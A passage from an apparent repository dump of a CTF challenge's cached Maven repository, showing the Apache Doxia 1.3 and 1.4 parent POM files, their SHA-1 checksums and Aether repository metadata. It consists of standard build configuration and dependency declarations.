<archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Developer List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---dev-f11816.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia User List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-users@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---Users-f14483.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Commits List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announces</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <modules>\n    <module>doxia-logging-api</module>\n    <module>doxia-sink-api</module>\n    <module>doxia-test-docs</module>\n    <module>doxia-core</module>\n    <module>doxia-modules</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.3</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.3</developerConnection>\n    <url>http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia/tags/doxia-1.3</url>\n  </scm>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIA</url>\n  </issueManagement>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/doxia/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/doxia/doxia</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n    <projectVersion>${project.version}</projectVersion>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- doxia -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-sink-api</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-test-docs</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${projectVersion}</version>\n        <type>test-jar</type>\n      </dependency>\n\n      <!-- doxia modules -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-apt</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-confluence</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-docbook-simple</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fml</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fo</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-latex</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-itext</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-rtf</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-twiki</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xdoc</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xhtml</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>2.0.5</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <resource>\n        <directory>${project.build.directory}/generated-site/xsd</directory>\n        <includes>\n          <include>**/*.xsd</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/doxia/doxia/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <!-- Version 1.3.8 makes the descriptor merges fail, probably due to PLX-409 -->\n          <version>1.3.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/doxia/doxia-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>verify</phase>\n            <goals>\n              <goal>check</goal>\n            </goals>\n            <configuration>\n              <excludes>\n                <exclude>org/apache/maven/doxia/document/*</exclude>\n              </excludes>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <!-- AbstractXmlParser.CachedFileEntityResolver downloads DTD/XSD files in ${java.io.tmpdir} -->\n      <id>remove-temp</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clean-download</id>\n                <phase>clean</phase>\n                <configuration>\n                  <tasks>\n                    <delete>\n                      <fileset dir=\"${java.io.tmpdir}\" includes=\"**/*.dtd, **/*.ent, **/*.xsd\" />\n                    </delete>\n                  </tasks>\n                </configuration>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>2.6</version>\n            <configuration>\n              <columnNames>Type,Key,Summary,Resolution,Assignee</columnNames>\n              <maxEntries>1000</maxEntries>\n              <onlyCurrentVersion>true</onlyCurrentVersion>\n              <sortColumnNames>Key</sortColumnNames>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>jira-report</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>jxr</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>javadoc</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.3/doxia-1.3.pom.sha1",
    "content": "846b81565bf421e1bff91493d84764c818f42ad0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:43 CST 2018\ndoxia-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.4/doxia-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>23</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia</artifactId>\n  <version>1.4</version>\n  <packaging>pom</packaging>\n\n  <name>Doxia</name>\n  <description>Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages.</description>\n  <url>http://maven.apache.org/doxia/doxia/</url>\n  <inceptionYear>2005</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://oldnabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Developer List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---dev-f11816.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia User List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-users@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---Users-f14483.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Commits List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announces</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <contributors>\n    <contributor>\n      <name>Valters Vingolds</name>\n    </contributor>\n    <contributor>\n      <name>Manuel Blechschmidt</name>\n    </contributor>\n  </contributors>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <modules>\n    <module>doxia-logging-api</module>\n    <module>doxia-sink-api</module>\n    <module>doxia-test-docs</module>\n    <module>doxia-core</module>\n    <module>doxia-modules</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.4</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.4</developerConnection>\n    <url>http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia/tags/doxia-1.4</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIA</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/doxia/</url>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven-doxia/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n    <maven.site.path>doxia-archives/doxia-LATEST</maven.site.path>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- doxia -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-sink-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-test-docs</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${project.version}</version>\n        <type>test-jar</type>\n      </dependency>\n\n      <!-- doxia modules -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-apt</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-confluence</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-docbook-simple</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fml</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fo</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-latex</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-itext</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-rtf</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-twiki</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xdoc</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xhtml</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>3.0.10</version>\n      </dependency>\n      <dependency><!-- remove when upgrading parent to version 22 -->\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.10</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <resource>\n        <directory>${project.build.directory}/generated-site/xsd</directory>\n        <includes>\n          <include>**/*.xsd</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/doxia/doxia/tags</tagBase>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <configuration>\n            <content>${project.build.directory}/staging</content>\n            <checkoutDirectory>${maven.site.cache}/doxia/${maven.site.path}</checkoutDirectory>\n            <tryUpdate>true</tryUpdate>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>verify</phase>\n            <goals>\n              <goal>check</goal>\n            </goals>\n            <configuration>\n              <excludes>\n                <exclude>org/apache/maven/doxia/document/*</exclude>\n                <exclude>org/apache/maven/doxia/module/markdown/MarkdownToDoxiaHtmlSerializer</exclude>\n              </excludes>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <!-- AbstractXmlParser.CachedFileEntityResolver downloads DTD/XSD files in ${java.io.tmpdir} -->\n      <id>remove-temp</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clean-download</id>\n                <phase>clean</phase>\n                <configuration>\n                  <tasks>\n                    <delete>\n                      <fileset dir=\"${java.io.tmpdir}\" includes=\"**/*.dtd, **/*.ent, **/*.xsd\" />\n                    </delete>\n                  </tasks>\n                </configuration>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>2.6</version>\n            <configuration>\n              <columnNames>Type,Key,Summary,Resolution,Assignee</columnNames>\n              <maxEntries>1000</maxEntries>\n              <onlyCurrentVersion>true</onlyCurrentVersion>\n              <sortColumnNames>Key</sortColumnNames>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>jira-report</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>jxr</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>javadoc</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.4/doxia-1.4.pom.sha1",
    "content": "121c5566d364de8190fcab422b41870acb86f2de"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-core-1.4.jar>central=\ndoxia-core-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/doxia-core-1.4.jar.sha1",
    "content": "1e9ee5aa729da72e9e9884462782c005592d2075"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/doxia-core-1.4.pom",
